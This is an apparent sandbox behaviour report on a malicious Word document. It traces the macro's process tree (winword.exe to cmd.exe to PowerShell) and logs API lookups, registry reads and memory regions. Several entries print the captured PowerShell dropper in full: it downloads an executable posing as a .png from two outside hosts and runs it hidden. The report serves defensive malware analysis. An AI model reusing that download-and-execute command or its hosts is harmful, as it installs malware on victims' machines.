Create cmd /c PowerShell "'PowerShell ""function mihyr8([String] $yxuinzaisib){(New-Object System.Net.WebClient).DownloadFile($yxuinzaisib,''%TMP%\Mvmubw.exe'');Start-Process ''%TMP%\Mvmubw.exe'';}try{mihyr8(''http://www.events4u.cz/kas23.png'')}catch{mihyr8(''http://tregartha-dinnie.co.uk/kas23.png'')}'"" | Out-File -encoding ASCII -FilePath %TMP%\Mbovxo.bat;Start-Process '%TMP%\Mbovxo.bat' -WindowStyle Hidden" os_pid = 0x9e0, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Module (156)
+
Operation Module Additional Information Success Count Logfile
Load C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL base_address = 0x7fee8aa0000 True 1
Fn
Get Handle C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBEUI.DLL base_address = 0x0 False 1
Fn
Get Handle c:\windows\system32\user32.dll base_address = 0x77440000 True 1
Fn
Get Handle oleaut32.dll base_address = 0x7feff5d0000 True 1
Fn
Get Handle ole32.dll base_address = 0x7fefede0000 True 1
Fn
Get Filename process_name = c:\program files\microsoft office\office15\winword.exe, file_name_orig = C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL, size = 260 True 4
Fn
Get Address Unknown module name function = MsoVBADigSigCallDlg, address_out = 0x7fee8bad128 True 1
Fn
Get Address Unknown module name function = MsoVbaInitSecurity, address_out = 0x7fee8b1a204 True 1
Fn
Get Address Unknown module name function = MsoFIEPolicyAndVersion, address_out = 0x7fee8ac24b8 True 1
Fn
Get Address Unknown module name function = MsoFAnsiCodePageSupportsLCID, address_out = 0x7fee8b1a09c True 1
Fn
Get Address Unknown module name function = MsoFInitOffice, address_out = 0x7fee8abf98c True 1
Fn
Get Address Unknown module name function = MsoUninitOffice, address_out = 0x7fee8aaec34 True 1
Fn
Get Address Unknown module name function = MsoFGetFontSettings, address_out = 0x7fee8aa3fac True 1
Fn
Get Address Unknown module name function = MsoRgchToRgwch, address_out = 0x7fee8ab2878 True 1
Fn
Get Address Unknown module name function = MsoHrSimpleQueryInterface, address_out = 0x7fee8aa7a5c True 1
Fn
Get Address Unknown module name function = MsoHrSimpleQueryInterface2, address_out = 0x7fee8aa79d4 True 1
Fn
Get Address Unknown module name function = MsoFCreateControl, address_out = 0x7fee8aa870c True 1
Fn
Get Address Unknown module name function = MsoFLongLoad, address_out = 0x7fee8becb78 True 1
Fn
Get Address Unknown module name function = MsoFLongSave, address_out = 0x7fee8becb9c True 1
Fn
Get Address Unknown module name function = MsoFGetTooltips, address_out = 0x7fee8ab23e0 True 1
Fn
Get Address Unknown module name function = MsoFSetTooltips, address_out = 0x7fee8b1a49c True 1
Fn
Get Address Unknown module name function = MsoFLoadToolbarSet, address_out = 0x7fee8b07d64 True 1
Fn
Get Address Unknown module name function = MsoFCreateToolbarSet, address_out = 0x7fee8aa55d0 True 1
Fn
Get Address Unknown module name function = MsoHpalOffice, address_out = 0x7fee8ab05e0 True 1
Fn
Get Address Unknown module name function = MsoFWndProcNeeded, address_out = 0x7fee8aa3cd4 True 1
Fn
Get Address Unknown module name function = MsoFWndProc, address_out = 0x7fee8aa6c80 True 1
Fn
Get Address Unknown module name function = MsoFCreateITFCHwnd, address_out = 0x7fee8aa3d08 True 1
Fn
Get Address Unknown module name function = MsoDestroyITFC, address_out = 0x7fee8aaeaa0 True 1
Fn
Get Address Unknown module name function = MsoFPitbsFromHwndAndMsg, address_out = 0x7fee8aae064 True 1
Fn
Get Address Unknown module name function = MsoFGetComponentManager, address_out = 0x7fee8aa7af0 True 1
Fn
Get Address Unknown module name function = MsoMultiByteToWideChar, address_out = 0x7fee8ab005c True 2
Fn
Get Address Unknown module name function = MsoWideCharToMultiByte, address_out = 0x7fee8aa8b00 True 1
Fn
Get Address Unknown module name function = MsoHrRegisterAll, address_out = 0x7fee8bacb04 True 1
Fn
Get Address Unknown module name function = MsoFSetComponentManager, address_out = 0x7fee8ab47c4 True 1
Fn
Get Address Unknown module name function = MsoFCreateStdComponentManager, address_out = 0x7fee8aa3e0c True 1
Fn
Get Address Unknown module name function = MsoFHandledMessageNeeded, address_out = 0x7fee8aaab58 True 1
Fn
Get Address Unknown module name function = MsoPeekMessage, address_out = 0x7fee8aaa820 True 1
Fn
Get Address Unknown module name function = MsoFCreateIPref, address_out = 0x7fee8aa15ac True 1
Fn
Get Address Unknown module name function = MsoDestroyIPref, address_out = 0x7fee8aaebfc True 1
Fn
Get Address Unknown module name function = MsoChsFromLid, address_out = 0x7fee8aa1414 True 1
Fn
Get Address Unknown module name function = MsoCpgFromChs, address_out = 0x7fee8aa65d4 True 1
Fn
Get Address Unknown module name function = MsoSetLocale, address_out = 0x7fee8aa1554 True 1
Fn
Get Address Unknown module name function = MsoFSetHMsoinstOfSdm, address_out = 0x7fee8aa3dbc True 1
Fn
Get Address Unknown module name function = MsoSetVbaInterfaces, address_out = 0x7fee8bad23c True 1
Fn
Get Address Unknown module name function = MsoGetControlInstanceId, address_out = 0x7fee8b7733c True 1
Fn
Get Address Unknown module name function = SysFreeString, address_out = 0x7feff5d1320 True 1
Fn
Get Address Unknown module name function = LoadTypeLib, address_out = 0x7feff5df1e0 True 1
Fn
Get Address Unknown module name function = RegisterTypeLib, address_out = 0x7feff62caa0 True 1
Fn
Get Address Unknown module name function = QueryPathOfRegTypeLib, address_out = 0x7feff661760 True 1
Fn
Get Address Unknown module name function = UnRegisterTypeLib, address_out = 0x7feff6620d0 True 2
Fn
Get Address Unknown module name function = OleTranslateColor, address_out = 0x7feff5fc760 True 1
Fn
Get Address Unknown module name function = OleCreateFontIndirect, address_out = 0x7feff62ecd0 True 1
Fn
Get Address Unknown module name function = OleCreatePictureIndirect, address_out = 0x7feff62e840 True 1
Fn
Get Address Unknown module name function = OleLoadPicture, address_out = 0x7feff63f420 True 1
Fn
Get Address Unknown module name function = OleCreatePropertyFrameIndirect, address_out = 0x7feff634ec0 True 1
Fn
Get Address Unknown module name function = OleCreatePropertyFrame, address_out = 0x7feff639350 True 1
Fn
Get Address Unknown module name function = OleIconToCursor, address_out = 0x7feff606e40 True 1
Fn
Get Address Unknown module name function = LoadTypeLibEx, address_out = 0x7feff5da550 True 2
Fn
Get Address Unknown module name function = OleLoadPictureEx, address_out = 0x7feff63f320 True 1
Fn
Get Address c:\windows\system32\user32.dll function = GetSystemMetrics, address_out = 0x774594f0 True 1
Fn
Get Address c:\windows\system32\user32.dll function = MonitorFromWindow, address_out = 0x77455f08 True 1
Fn
Get Address c:\windows\system32\user32.dll function = MonitorFromRect, address_out = 0x77452b00 True 1
Fn
Get Address c:\windows\system32\user32.dll function = MonitorFromPoint, address_out = 0x7744ab64 True 1
Fn
Get Address c:\windows\system32\user32.dll function = EnumDisplayMonitors, address_out = 0x77455c30 True 1
Fn
Get Address c:\windows\system32\user32.dll function = GetMonitorInfoA, address_out = 0x7744a730 True 1
Fn
Get Address c:\windows\system32\user32.dll function = EnumDisplayDevicesA, address_out = 0x7744a5b4 True 1
Fn
Get Address Unknown module name function = DispCallFunc, address_out = 0x7feff5d2270 True 1
Fn
Get Address Unknown module name function = CreateTypeLib2, address_out = 0x7feff65dbd0 True 1
Fn
Get Address Unknown module name function = VarDateFromUdate, address_out = 0x7feff5d5c90 True 1
Fn
Get Address Unknown module name function = VarUdateFromDate, address_out = 0x7feff5d6330 True 1
Fn
Get Address Unknown module name function = GetAltMonthNames, address_out = 0x7feff5f66c0 True 1
Fn
Get Address Unknown module name function = VarNumFromParseNum, address_out = 0x7feff5d4710 True 1
Fn
Get Address Unknown module name function = VarParseNumFromStr, address_out = 0x7feff5d48f0 True 1
Fn
Get Address Unknown module name function = VarDecFromR4, address_out = 0x7feff60b640 True 1
Fn
Get Address Unknown module name function = VarDecFromR8, address_out = 0x7feff60b360 True 1
Fn
Get Address Unknown module name function = VarDecFromDate, address_out = 0x7feff612640 True 1
Fn
Get Address Unknown module name function = VarDecFromI4, address_out = 0x7feff5f58a0 True 1
Fn
Get Address Unknown module name function = VarDecFromCy, address_out = 0x7feff5f5820 True 1
Fn
Get Address Unknown module name function = VarR4FromDec, address_out = 0x7feff60af20 True 1
Fn
Get Address Unknown module name function = GetRecordInfoFromTypeInfo, address_out = 0x7feff62a0c0 True 1
Fn
Get Address Unknown module name function = GetRecordInfoFromGuids, address_out = 0x7feff662160 True 1
Fn
Get Address Unknown module name function = SafeArrayGetRecordInfo, address_out = 0x7feff5f5af0 True 1
Fn
Get Address Unknown module name function = SafeArraySetRecordInfo, address_out = 0x7feff5f5a90 True 1
Fn
Get Address Unknown module name function = SafeArrayGetIID, address_out = 0x7feff5f5a60 True 1
Fn
Get Address Unknown module name function = SafeArraySetIID, address_out = 0x7feff5f5a30 True 1
Fn
Get Address Unknown module name function = SafeArrayCopyData, address_out = 0x7feff5d60b0 True 1
Fn
Get Address Unknown module name function = SafeArrayAllocDescriptorEx, address_out = 0x7feff5d3e90 True 1
Fn
Get Address Unknown module name function = SafeArrayCreateEx, address_out = 0x7feff629f80 True 1
Fn
Get Address Unknown module name function = VarFormat, address_out = 0x7feff659b20 True 1
Fn
Get Address Unknown module name function = VarFormatDateTime, address_out = 0x7feff659aa0 True 1
Fn
Get Address Unknown module name function = VarFormatNumber, address_out = 0x7feff659990 True 1
Fn
Get Address Unknown module name function = VarFormatPercent, address_out = 0x7feff659890 True 1
Fn
Get Address Unknown module name function = VarFormatCurrency, address_out = 0x7feff659770 True 1
Fn
Get Address Unknown module name function = VarWeekdayName, address_out = 0x7feff63b8d0 True 1
Fn
Get Address Unknown module name function = VarMonthName, address_out = 0x7feff63b800 True 1
Fn
Get Address Unknown module name function = VarAdd, address_out = 0x7feff6548e0 True 1
Fn
Get Address Unknown module name function = VarAnd, address_out = 0x7feff659470 True 1
Fn
Get Address Unknown module name function = VarCat, address_out = 0x7feff6596a0 True 1
Fn
Get Address Unknown module name function = VarDiv, address_out = 0x7feff652fe0 True 1
Fn
Get Address Unknown module name function = VarEqv, address_out = 0x7feff659cf0 True 1
Fn
Get Address Unknown module name function = VarIdiv, address_out = 0x7feff658ff0 True 1
Fn
Get Address Unknown module name function = VarImp, address_out = 0x7feff659c00 True 1
Fn
Get Address Unknown module name function = VarMod, address_out = 0x7feff658e60 True 1
Fn
Get Address Unknown module name function = VarMul, address_out = 0x7feff653690 True 1
Fn
Get Address Unknown module name function = VarOr, address_out = 0x7feff6592d0 True 1
Fn
Get Address Unknown module name function = VarPow, address_out = 0x7feff652e80 True 1
Fn
Get Address Unknown module name function = VarSub, address_out = 0x7feff653f90 True 1
Fn
Get Address Unknown module name function = VarXor, address_out = 0x7feff6591a0 True 1
Fn
Get Address Unknown module name function = VarAbs, address_out = 0x7feff637c30 True 1
Fn
Get Address Unknown module name function = VarFix, address_out = 0x7feff637a60 True 1
Fn
Get Address Unknown module name function = VarInt, address_out = 0x7feff637890 True 1
Fn
Get Address Unknown module name function = VarNeg, address_out = 0x7feff637ea0 True 1
Fn
Get Address Unknown module name function = VarNot, address_out = 0x7feff659600 True 1
Fn
Get Address Unknown module name function = VarRound, address_out = 0x7feff6376a0 True 1
Fn
Get Address Unknown module name function = VarCmp, address_out = 0x7feff6583f0 True 1
Fn
Get Address Unknown module name function = VarDecAdd, address_out = 0x7feff603070 True 1
Fn
Get Address Unknown module name function = VarDecCmp, address_out = 0x7feff60d700 True 1
Fn
Get Address Unknown module name function = VarBstrCat, address_out = 0x7feff60d890 True 1
Fn
Get Address Unknown module name function = VarCyMulI4, address_out = 0x7feff5ecaf0 True 1
Fn
Get Address Unknown module name function = VarBstrCmp, address_out = 0x7feff5f8a00 True 1
Fn
Get Address Unknown module name function = CoCreateInstanceEx, address_out = 0x7fefedede90 True 1
Fn
Get Address Unknown module name function = CLSIDFromProgIDEx, address_out = 0x7fefedfa4c4 True 1
Fn
Get Address Unknown module name function = RegisterTypeLibForUser, address_out = 0x7feff626430 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = ImageList_Destroy, address_out = 0x7fefc0207a4 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = ImageList_GetIconSize, address_out = 0x7fefc021010 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = InitCommonControls, address_out = 0x7fefc0f8b5c True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = ImageList_LoadImageA, address_out = 0x7fefc0201a8 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = ImageList_SetOverlayImage, address_out = 0x7fefc020a70 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = ImageList_AddMasked, address_out = 0x7fefc020b60 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = ImageList_GetImageInfo, address_out = 0x7fefc021180 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = ImageList_Draw, address_out = 0x7fefc020cd8 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = ImageList_DrawEx, address_out = 0x7fefc020bdc True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = PropertySheetA, address_out = 0x7fefc005c64 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = DestroyPropertySheetPage, address_out = 0x7fefbfff018 True 1
Fn
Get Address c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32.dll function = CreatePropertySheetPageA, address_out = 0x7fefbfffce8 True 1
Fn
Get Address Unknown module name function = 600, address_out = 0x7fee8df9f28 True 3
Fn
Get Address Unknown module name function = 594, address_out = 0x7fee8f97268 True 3
Fn
Get Address Unknown module name function = 593, address_out = 0x7fee8f97298 True 3
Fn
Get Address Unknown module name function = 632, address_out = 0x7fee8e22778 True 3
Fn
Get Address Unknown module name function = 681, address_out = 0x7fee8f968e0 True 3
Fn
Window (4)
+
Operation Window Name Additional Information Success Count Logfile
Set Attribute index = 18446744073709551596, new_long = 262401 True 4
Fn
System (36)
+
Operation Additional Information Success Count Logfile
Get Cursor x_out = 17, y_out = 631 True 2
Fn
Get Time type = Local Time, time = 2017-09-26 00:02:34 (Local Time) True 1
Fn
Get Time type = Local Time, time = 2017-09-26 00:02:35 (Local Time) True 19
Fn
Get Time type = Local Time, time = 2017-09-26 00:02:38 (Local Time) True 11
Fn
Get Info type = Operating System False 2
Fn
Get Info type = Operating System True 1
Fn
Environment (1)
+
Operation Additional Information Success Count Logfile
Get Environment String name = DDRYBUR False 1
Fn
Process #2: cmd.exe
(Host: 61, Network: 0)
+
Information Value
ID #2
File Name c:\windows\system32\cmd.exe
Command Line cmd /c PowerShell "'PowerShell ""function mihyr8([String] $yxuinzaisib){(New-Object System.Net.WebClient).DownloadFile($yxuinzaisib,''%TMP%\Mvmubw.exe'');Start-Process ''%TMP%\Mvmubw.exe'';}try{mihyr8(''http://www.events4u.cz/kas23.png'')}catch{mihyr8(''http://tregartha-dinnie.co.uk/kas23.png'')}'"" | Out-File -encoding ASCII -FilePath %TMP%\Mbovxo.bat;Start-Process '%TMP%\Mbovxo.bat' -WindowStyle Hidden"
Initial Working Directory C:\Users\aDU0VK IWA5kLS\Desktop\
Monitor Start Time: 00:00:36, Reason: Child Process
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:01:50
OS Process Information
+
Information Value
PID 0x9e0
Parent PID 0x914 (c:\program files\microsoft office\office15\winword.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 9E4
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
pagefile_0x00000000000c0000 0x000c0000 0x000c6fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000000d0000 0x000d0000 0x000d1fff Pagefile Backed Memory Readable, Writable True False False
private_0x00000000000e0000 0x000e0000 0x000e0fff Private Memory Readable, Writable True True False
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable True True False
private_0x0000000000130000 0x00130000 0x0022ffff Private Memory Readable, Writable True True False
private_0x0000000000230000 0x00230000 0x0032ffff Private Memory Readable, Writable True True False
private_0x0000000000370000 0x00370000 0x0046ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000470000 0x00470000 0x005f7fff Pagefile Backed Memory Readable True False False
private_0x0000000000620000 0x00620000 0x0062ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000630000 0x00630000 0x007b0fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000007c0000 0x007c0000 0x01bbffff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001bc0000 0x01bc0000 0x01f02fff Pagefile Backed Memory Readable True False False
sortdefault.nls 0x01f10000 0x021defff Memory Mapped File Readable False False False
cmd.exe 0x49e70000 0x49ec8fff Memory Mapped File Readable, Writable, Executable True False False
kernel32.dll 0x77320000 0x7743efff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x77440000 0x77539fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
winbrand.dll 0x7fef5a50000 0x7fef5a57fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll 0x7fefd680000 0x7fefd6eafff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x7fefda30000 0x7fefda5dfff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x7fefdd60000 0x7fefddc6fff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x7fefddd0000 0x7fefded8fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x7fefdee0000 0x7fefdfa8fff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x7fefed40000 0x7fefeddefff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x7feff330000 0x7feff33dfff Memory Mapped File Readable, Writable, Executable False False False
apisetschema.dll 0x7feff860000 0x7feff860fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffdcfff Private Memory Readable, Writable True True False
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True True False
Host Behavior
File (10)
+
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\aDU0VK IWA5kLS\Desktop type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE True 5
Fn
Open STD_INPUT_HANDLE True 3
Fn
Registry (17)
+
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 24, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
+
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe os_pid = 0x9f8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
+
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x49e70000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x77320000 True 2
Fn
Get Filename process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x77336d40 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x773323d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x77328290 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x773317e0 True 1
Fn
System (2)
+
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2017-09-25 20:32:39 (UTC) True 1
Fn
Get Time type = Ticks, time = 70231 True 1
Fn
Environment (23)
+
Operation Additional Information Success Count Logfile
Get Environment String True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Get Environment String name = TMP, result_out = C:\Users\ADU0VK~1\AppData\Local\Temp True 4
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\aDU0VK IWA5kLS\Desktop True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #3: powershell.exe
(Host: 652, Network: 0)
+
Information Value
ID #3
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line PowerShell "'PowerShell ""function mihyr8([String] $yxuinzaisib){(New-Object System.Net.WebClient).DownloadFile($yxuinzaisib,''C:\Users\ADU0VK~1\AppData\Local\Temp\Mvmubw.exe'');Start-Process ''C:\Users\ADU0VK~1\AppData\Local\Temp\Mvmubw.exe'';}try{mihyr8(''http://www.events4u.cz/kas23.png'')}catch{mihyr8(''http://tregartha-dinnie.co.uk/kas23.png'')}'"" | Out-File -encoding ASCII -FilePath C:\Users\ADU0VK~1\AppData\Local\Temp\Mbovxo.bat;Start-Process 'C:\Users\ADU0VK~1\AppData\Local\Temp\Mbovxo.bat' -WindowStyle Hidden"
Initial Working Directory C:\Users\aDU0VK IWA5kLS\Desktop\
Monitor Start Time: 00:00:37, Reason: Child Process
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:01:49
OS Process Information
+
Information Value
PID 0x9f8
Parent PID 0x9e0 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 9FC
0x A00
0x A04
0x A08
0x A0C
0x A10
0x A1C
0x A20
0x A3C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000050000 0x00050000 0x00056fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000060000 0x00060000 0x00061fff Pagefile Backed Memory Readable, Writable True False False
powershell.exe.mui 0x00070000 0x00072fff Memory Mapped File Readable, Writable False False False
private_0x0000000000080000 0x00080000 0x00080fff Private Memory Readable, Writable True True False
private_0x0000000000090000 0x00090000 0x0010ffff Private Memory Readable, Writable True True False
locale.nls 0x00110000 0x00176fff Memory Mapped File Readable False False False
private_0x0000000000180000 0x00180000 0x00180fff Private Memory Readable, Writable True True False
pagefile_0x0000000000190000 0x00190000 0x00190fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000001a0000 0x001a0000 0x001a0fff Pagefile Backed Memory Readable True False False
